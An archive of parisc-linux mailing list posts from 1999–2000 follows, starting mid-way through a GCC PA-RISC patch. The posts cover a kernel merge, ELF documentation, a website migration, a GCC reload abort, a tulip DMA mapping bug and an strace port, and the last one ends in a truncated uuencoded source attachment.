       call_insn = emit_call_insn (gen_call_value_internal_reg (operands[0],
 							       operands[2]));
     }
+
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
+
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
@@ -7124,7 +7129,7 @@
 	      (clobber (reg:SI 22))
 	      (clobber (reg:SI 31))])
    (set (match_operand:SI 0 "register_operand" "")
-	(reg:SI 29))]
+	(unspec:SI [(reg:SI 29)] 0))]
   "! TARGET_PORTABLE_RUNTIME && !TARGET_64BIT && !TARGET_ELF32"
   "
 {
@@ -7236,3 +7241,48 @@
   emit_insn (gen_blockage ());
   DONE;
 }")
+
+;; For TARGET_64BIT, the arg_pointer register is also used for millicode
+;; returns.  The ABI requires that the arg_pointer be set for all calls.
+;; When the arg_pointer is made an eliminable register, eliminate_regs
+;; will eliminate the arg_pointer register from the function call setup and
+;; millicode returns unless the arg_pointer is hidden in a use, clobber or
+;; unspec.
+
+;; This is for loading the arg_pointer in function calls.
+(define_insn "addmovdi3"
+  [(set (unspec:DI [(match_operand:DI 0 "register_operand" "=r,r")] 0)
+        (plus:DI (match_operand:DI 1 "register_operand" "r,r")
+		 (match_operand 2 "const_int_operand" "J,i")))
+   (set (match_dup 0) (match_dup 0))]
+  "TARGET_64BIT"
+  "@
+  ldo %2(%1),%0
+  ldil L'%G2,%0\;add,l %0,%1,%0"
+  [(set_attr "type" "binary,binary")
+   (set_attr "pa_combine_type" "addmove,none")
+   (set_attr "length" "4,8")])
+
+;; This is for millicode return.
+(define_expand "mov_from_r29_si"
+  [(set (match_operand:SI 0 "" "")
+        (unspec:SI [(reg:SI 29)] 0))]
+  ""
+  "
+{
+  if (!TARGET_64BIT)
+    {
+      rtx tmp = gen_rtx_REG (SImode, 29);
+      emit_insn (gen_movsi (operands[0], tmp));
+      DONE;
+    }
+}")
+
+(define_insn ""
+  [(set (match_operand:SI 0 "register_operand" "=r")
+	(unspec:SI [(reg:SI 29)] 0))]
+  ""
+  "copy %%r29,%0"
+  [(set_attr "type" "multi")
+   (set_attr "length" "4")])
+


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel merge
Date: Thu, 09 Nov 2000 11:47:51 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <E13twjn-0004fw-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619259 5858 80.91.229.3 (22 Nov 2014 01:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:59 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Thu Nov  9 11:45:56 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA11369
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 11:45:56 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA05229
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 11:47:51 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13twjn-0004fw-00
	for <parisc-linux@puffin.external.hp.com>; Thu, 09 Nov 2000 11:47:51 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8352


We're getting ready to do a kernel merge (to -test10 I think).  Anybody
concerns before we get started?

	-P


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: Mon, 19 Apr 1999 17:41:51 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990419173915.5593B-100000@devserv.devel.redhat.com>
References: <199904192104.OAA06003@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619259 5866 80.91.229.3 (22 Nov 2014 01:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:59 +0000 (UTC)
Cc: Ulrich Drepper <drepper@cygnus.com>, parisc-linux@thepuffingroup.com
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: adevries@redhat.com  Mon Apr 19 18:01:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA16636
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 18:01:09 -0400
Original-Received: (qmail 31266 invoked by uid 15267); 19 Apr 1999 21:59:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31259 invoked from network); 19 Apr 1999 21:59:50 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 21:59:50 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id RAA07315;
	Mon, 19 Apr 1999 17:41:51 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <199904192104.OAA06003@cllmail.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8353


On Mon, 19 Apr 1999, Cary Coutant wrote:
> 
> The latest ELF supplement for PA-RISC is Version 1.5, dated August 20, 
> 1998. I'll send it separately to you, Alex, and you can post it on your 
> web page (easier than getting HP's external web server updated). 

Oh, excellent, I hadn't known that those existed.

I've placed those at:
http://puffin.external.hp.com/docs/elf-64-gen.pdf 

and:
http://puffin.external.hp.com/docs/elf-pa-hp.pdf 

I'll include these references on the documentation pages as soon as
possible.


> The document also doesn't contain either Elf-32 or Elf-64 structure 
> definitions. I have a separate document that describes Elf-64, but we 
> defer to outside documentation for the Elf-32 format (e.g., the SVR4 gABI 
> document).

Could someone provide me with a reference to the SVR4 gABI document?

Thanks for your help, Cary.

- Alex


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Website Plan
Date: Thu, 09 Nov 2000 14:08:20 -0500
Organization: Linuxcare
Lines: 48
Approved: news@gmane.org
Message-ID: <3A0AF623.DCA081CE@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619260 5873 80.91.229.3 (22 Nov 2014 01:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jvinet@linuxcare.com  Thu Nov  9 12:02:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12066
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 12:02:06 -0700
Original-Received: (qmail 28603 invoked by uid 15267); 9 Nov 2000 19:04:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28587 invoked from network); 9 Nov 2000 19:04:00 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 19:04:00 -0000
Original-Received: (qmail 25124 invoked from network); 9 Nov 2000 19:03:57 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 9 Nov 2000 19:03:57 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8354

Recently there have been concerns about what is happening with the
web site. 
I'd like to let everyone know what the plan is in order to address these 
concerns.  

The Development team at HP provided us with a list of where current
pages are hosted and where they should be hosted in the future.

 Item                        current       future
----                        -------       ------
mailing lists               pehc           LXC
parisc website		    puffin         LXC
hardware database           puffin        pehc
ftp server                  pehc          pehc
cvs                         pehc          pehc


As per Linuxcare's agreement with Hewlett Packard, Linuxcare (formerly
the Puffing Group) is responsible for all of the pages that are
currently hosted at http://www.thepuffingroup.com/parisc/.  Linuxcare is
in the process of redesigning the existing web pages and we will be
moving very soon to http://www.parisc-linux.org/.  By revamping the
existing web pages, we want to make things like the FAQ page and the
To-Do list much more visible to the public to encourage new contributors
to join us,
as well as meeting the needs of current Developers.

The plan is to transition from the current website to the new
website with as little disruption to the public as possible.  Currently,
http://www.parisc-linux.org/ is set up but not active. 
http://www.thepuffingroup.com/parisc/ will remain the active site until
everything is ready to switch over. 

Each of the above items is being addressed independently and have
separate schedules for transition.  We will make sure that notification
is made on http://www.thepuffingroup.com/parisc/ and on the mailing list
prior to the transition.

Thanks for your patience and we apologize for any inconvenience this may
have caused. 

Jane
-- 
Jane Vinet, Director Professional Services/Canadian Operations
Linuxcare, Inc. 613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the Revolution


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] abort in eliminate_regs compiling glob.c from glibc
Date: Thu, 9 Nov 2000 14:54:00 -0500 (EST)
Lines: 65
Approved: news@gmane.org
Message-ID: <200011091954.OAA07778@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619260 5880 80.91.229.3 (22 Nov 2014 01:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov  9 12:52:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12640
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 12:52:09 -0700
Original-Received: (qmail 2418 invoked by uid 15267); 9 Nov 2000 19:54:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2385 invoked from network); 9 Nov 2000 19:54:02 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 19:54:02 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA07778;
	Thu, 9 Nov 2000 14:54:01 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8355

The following abort occurs with a relatively current version of gcc from
the cvs under hpux and the parisc-linux version of the compiler:

hppa-linux-gcc ../sysdeps/generic/glob.c -c -O3 -Wall -Winline -Wstrict-prototypes -Wwrite-strings      -I../include -I. -I/home/dave/puffin/glibc/objdir/posix -I.. -I../libio  -I/home/dave/puffin/glibc/objdir -I../sysdeps/hppa/elf -I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128
  -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /usr/local/puffin/lib/gcc-lib/hppa-linux/2.96/include -isystem !
/home/dave/puffin/linux/include -D_LIBC_REENTRANT -include ../include/libc-symbols.h     -o /home/dave/puffin/glibc/objdir/posix/glob.o
../sysdeps/generic/glob.c: In function `glob_in_dir':
../sysdeps/generic/glob.c:1446: Internal compiler error in , at reload1.c:2516
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [/home/dave/puffin/glibc/objdir/posix/glob.o] Error 1
make[2]: Leaving directory `/home/dave/puffin/glibc/posix'
make[1]: *** [posix/subdir_lib] Error 2
make[1]: Leaving directory `/home/dave/puffin/glibc'
make: *** [all] Error 2

The insn that causes the fault is the following:

Breakpoint 2, eliminate_regs_in_insn (insn=0x406a0ba0, replace=0)
    at ../../gcc/reload1.c:2826
2826      if (! insn_is_asm && icode < 0)
(gdb) p debug_rtx (insn)
(insn/s 2711 2709 2719 (set (reg:SI 6 %r6)
        (reg:SI 28 %r28)) 69 {pre_ldw-4} (insn_list 2708 (insn_list:REG_DEP_ANTI 2696 (insn_list:REG_DEP_ANTI 2702 (insn_list:REG_DEP_ANTI 2697 (nil)))))
    (expr_list:REG_DEAD (reg:SI 28 %r28)
        (insn_list:REG_RETVAL 2708 (expr_list:REG_EQUAL (expr_list (use (mem:BLK (scratch) 0))
                    (expr_list (symbol_ref/v:SI ("@strlen"))
                        (expr_list (reg/v:SI 4 %r4)
                            (nil))))
                (nil)))))

As can be seen, there is a use in the REG notes which will cause eliminate_regs
to abort if it is called to process the notes of this insn.  It is called
from this code which is near the end of eliminate_regs_in_insn:

  for (ep = reg_eliminate; ep < &reg_eliminate[NUM_ELIMINABLE_REGS]; ep++)
    {
      if (ep->previous_offset != ep->offset && ep->ref_outside_mem)
        ep->can_eliminate = 0;

      ep->ref_outside_mem = 0;

      if (ep->previous_offset != ep->offset)
	val = 1;
    }

 done:
  /* If we changed something, perform elimination in REG_NOTES.  This is
     needed even when REPLACE is zero because a REG_DEAD note might refer
     to a register that we eliminate and could cause a different number
     of spill registers to be needed in the final reload pass than in
     the pre-passes.  */
  if (val && REG_NOTES (insn) != 0)
    REG_NOTES (insn) = eliminate_regs (REG_NOTES (insn), 0, REG_NOTES (insn));

ep->previous_offset is not equal ep->offset here and thus val is 1.

The use would appear to arise from the rtl generated by expand_builtin_strlen.
Anybody got any thoughts on how to fix this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tulip DMA mapping
Date: Thu, 9 Nov 2000 12:12:25 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200011092012.MAA06943@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619260 5888 80.91.229.3 (22 Nov 2014 01:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Nov  9 13:05:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA13010
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 13:05:25 -0700
Original-Received: (qmail 22578 invoked by uid 15267); 9 Nov 2000 20:07:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22555 invoked from network); 9 Nov 2000 20:07:17 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 20:07:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id D6986B30
	for <parisc-linux@thepuffingroup.com>; Thu,  9 Nov 2000 12:07:15 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA06943
	for parisc-linux@thepuffingroup.com; Thu, 9 Nov 2000 12:12:25 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8356

Hi all,
I see a "bug" in tulip's usage of mapping services.
It's not the bug I was looking for unfortunately.

In line 217 of drivers/net/tulip/interrupt.c:

	if (tp->tx_buffers[entry].mapping)
		pci_unmap_single(tp->pdev,
				tp->tx_buffers[entry].mapping,
				sizeof(tp->setup_frame),
				PCI_DMA_TODEVICE);

0 is a valid pci_map_single() return value when the system has an IO MMU.

The system will panic before pci_map_single() will fail.
The driver needs to remember some other way if a buffer was mapped or not.
Or the Documentation/DMA-mapping.txt should be changed - ie add this
to the interface definition and I can reserve the 1st mapping
entry so no-one uses it.

Should I be mailing Jeff Garzik <jgarzik@mandrakesoft.com> directly?
Or can someone who knows Jeff point this out to him?

thanks,
grant


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace working
Date: Thu, 9 Nov 2000 23:00:50 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20001109230050.H32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619261 5897 80.91.229.3 (22 Nov 2014 01:21:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:01 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Thu Nov  9 16:00:48 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA15182
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 16:00:46 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 047E4B007; Thu,  9 Nov 2000 23:00:50 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8357

I have updated the strace source in our cvs, such that it now
builds a basically working binary.  It requires an up-to-date
kernel.

Outstanding issues:

a) ioctl defines in linux/hppa/ioctlent.h are probably wrong
b) there is a hack in defs.h to get round a problem where the
   libc wrapper for ptrace() isn't getting used
c) there is a struct user defined in defs.h that should probably
   be in the kernel source asm/user.h
d) there are probably more places where we need to add HPPA
   specific code

Richard


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: abort in eliminate_regs compiling glob.c from glibc
Date: Thu, 9 Nov 2000 18:57:13 -0500 (EST)
Lines: 565
Approved: news@gmane.org
Message-ID: <200011092357.SAA08600@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619261 5907 80.91.229.3 (22 Nov 2014 01:21:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov  9 16:55:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15864
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 16:55:20 -0700
Original-Received: (qmail 5702 invoked by uid 15267); 9 Nov 2000 23:57:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5675 invoked from network); 9 Nov 2000 23:57:15 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 23:57:15 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA08600;
	Thu, 9 Nov 2000 18:57:13 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Nov 9, 2000 02:54:00 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8358

> Breakpoint 2, eliminate_regs_in_insn (insn=0x406a0ba0, replace=0)
>     at ../../gcc/reload1.c:2826
> 2826      if (! insn_is_asm && icode < 0)
> (gdb) p debug_rtx (insn)
> (insn/s 2711 2709 2719 (set (reg:SI 6 %r6)
>         (reg:SI 28 %r28)) 69 {pre_ldw-4} (insn_list 2708 (insn_list:REG_DEP_ANTI 2696 (insn_list:REG_DEP_ANTI 2702 (insn_list:REG_DEP_ANTI 2697 (nil)))))
>     (expr_list:REG_DEAD (reg:SI 28 %r28)
>         (insn_list:REG_RETVAL 2708 (expr_list:REG_EQUAL (expr_list (use (mem:BLK (scratch) 0))
>                     (expr_list (symbol_ref/v:SI ("@strlen"))
>                         (expr_list (reg/v:SI 4 %r4)
>                             (nil))))
>                 (nil)))))

The `use' arises from the `__pure__' attribute in the prototype for strlen:

extern size_t strlen (__const char *__s) __attribute__ ((__pure__));

Still haven't been able to figure out why the REG notes are processed or
a simple test case.  The cpp'd input is attached.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

begin 644 glob.i.gz
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
